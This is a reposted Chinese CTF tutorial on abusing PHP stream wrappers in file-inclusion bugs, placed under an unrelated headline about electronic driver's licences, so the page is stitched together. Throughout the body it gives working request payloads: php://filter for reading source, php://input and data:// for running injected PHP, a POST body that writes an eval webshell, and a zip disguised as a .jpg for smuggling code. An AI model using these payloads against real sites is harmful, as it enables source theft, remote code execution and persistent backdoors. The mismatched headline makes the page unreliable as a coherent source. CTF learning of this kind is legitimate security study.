1. 程式人生 > 資訊 >電子駕照明天正式上線,實測現已支援領取

電子駕照明天正式上線,實測現已支援領取

本篇總結下一些封裝協議,涉及的相關協議:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等

一.【file://協議】

PHP.ini:

file:// 協議在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用於訪問本地檔案系統,在CTF中通常用來讀取本地檔案的且不受allow_url_fopen與allow_url_include的影響

file:// [檔案的絕對路徑和檔名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

二.【php://協議】

條件:

不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取原始碼,php://input用於執行php程式碼。

參考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter讀取原始碼並進行base64編碼輸出,不然會直接當做php程式碼執行就看不到原始碼內容了。

PHP.ini:

php://filter在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

測試現象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

php://input可以訪問請求的原始資料的只讀流, 將post請求中的資料作為PHP程式碼執行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

測試現象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下內容生成一句話: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

三.【zip://, bzip2://, zlib://協議】

PHP.ini:

zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均屬於壓縮流,可以訪問壓縮檔案中的子檔案,更重要的是不需要指定字尾名。

參考自:http://php.net/manual/zh/wrappers.compression.php

1.【zip://協議】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [壓縮檔案絕對路徑]#[壓縮檔案內的子檔名]

測試現象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先將要執行的PHP程式碼寫好檔名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮檔名為file.zip,如果可以上傳zip檔案便直接上傳,若不能便將file.zip重新命名為file.jpg後在上傳,其他幾種壓縮格式也可以這樣操作。

由於#在get請求中會將後面的引數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。

2.【bzip2://協議】

使用方法:

compress.bzip2://file.bz2

測試現象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

3.【zlib://協議】

使用方法:

compress.zlib://file.gz

測試現象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

四.【data://協議】

經過測試官方文件上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;data:// 協議是是受限於allow_url_fopen的,官方文件上給出的是NO,所以要使用data://協議需要滿足雙on條件

PHP.ini:

data://協議必須雙在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

參考自:http://php.net/manual/zh/wrappers.data.php, 官方文件上allow_url_fopen應為yes。

測試現象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

五. 常規小結:

PHP封裝協議在CTF蠻常見的,是經常會遇到的出題點,如下便是對本篇涉及的封裝協議進行的總結,期待小夥伴的交流和補充。

轉自:https://www.freebuf.com/column/148886.html